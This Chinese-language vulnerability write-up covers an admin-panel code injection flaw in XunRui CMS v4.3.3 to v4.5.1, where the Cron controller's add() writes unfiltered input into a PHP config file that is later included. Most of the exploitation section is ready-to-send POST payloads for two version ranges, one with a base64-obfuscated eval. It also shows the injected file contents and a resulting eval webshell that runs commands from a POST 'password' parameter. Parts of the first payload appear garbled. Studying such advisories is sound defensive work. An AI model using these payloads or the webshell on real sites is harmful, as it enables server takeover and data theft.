某CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)
字数 1091 2025-08-27 12:33:37
迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞分析
漏洞概述
迅睿CMS在v4.3.3到v4.5.1版本中存在后台任意代码注入漏洞,攻击者可以利用该漏洞在服务器上写入任意文件并执行恶意代码。
影响版本
- v4.3.3到v4.5.1
利用条件
- 目标系统为迅睿CMS v4.3.3到v4.5.1版本
- 攻击者已获取后台管理员权限或具有"应用"->"任务队列"的管理权限
漏洞原理分析
漏洞位置
Admin控制器文件夹下Cron.php控制器的add()函数存在安全缺陷。
漏洞代码分析
v4.3.3到v4.5.0版本代码
public function add() {
$json = '';
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
$data = json_decode($json, true);
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data', true);
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' . PHP_EOL .
'$json=\'' . json_encode($post) . '\';'
);
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
}
\Phpcmf\Service::V()->assign(['data' => $data]);
\Phpcmf\Service::V()->display('cron_add.html');
}
v4.5.1版本代码
public function add() {
$json = '';
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
$data = json_decode($json, true);
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data');
if ($post && is_array($post)) {
foreach ($post as $key => $t) {
if (!$t || !$t['name']) {
unset($post[$key]);
}
$post[$key]['name'] = dr_safe_filename($t['name']);
$post[$key]['code'] = dr_safe_filename($t['code']);
}
} else {
$post = [];
}
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' . PHP_EOL .
'$json=\'' . json_encode($post) . '\';'
);
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
}
\Phpcmf\Service::V()->assign(['data' => $data]);
\Phpcmf\Service::V()->display('cron_add.html');
}
漏洞成因
add()函数对用户输入$post没有进行充分过滤就直接写入WRITEPATH.'config/cron.php'文件- 写入文件后,系统会通过
require包含该文件,导致任意代码执行 WRITEPATH默认为网站根目录下的cache/目录
漏洞利用方法
环境准备
- 安装并配置好PHP与Web中间件(注意低版本CMS需要低版本PHP)
- 克隆CMS官方仓库:
https://gitee.com/dayrui/xunruicms - 回退到指定版本(如v4.3.3到v4.5.1)
- 访问并安装CMS,登录后台(
/admin.php)
利用步骤
1. 获取CSRF Token
访问http://host:port/Admin.php?c=Cron&m=add并抓包,获取csrf_test_name参数值。
2. 构造恶意请求(v4.3.3到v4.5.0)
Payload示例:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA=POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ=htmlspecialchars_decode('>'));return;'%5D
URL解码后:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']
写入文件内容:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';
3. 构造恶意请求(v4.5.1)
Payload示例:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1
URL解码后:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1
写入文件内容:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';
4. 触发漏洞
访问http://host:port/Admin.php?c=Cron&m=add,系统会包含并执行写入的恶意代码,在网站根目录下生成webshell文件。
5. 生成的Webshell
文件路径:/webshell.php
内容:<?php eval(@$_POST["password"]);?>
漏洞修复建议
- 升级到最新版本
- 对用户输入进行严格过滤,特别是写入文件的内容
- 限制后台管理权限,避免不必要的权限分配
- 对写入文件的内容进行合法性检查
总结
该漏洞利用CMS后台管理功能中对用户输入过滤不严的缺陷,通过精心构造的payload绕过安全限制,实现任意文件写入和代码执行。攻击者需要具备后台管理权限,但一旦利用成功,可完全控制目标系统。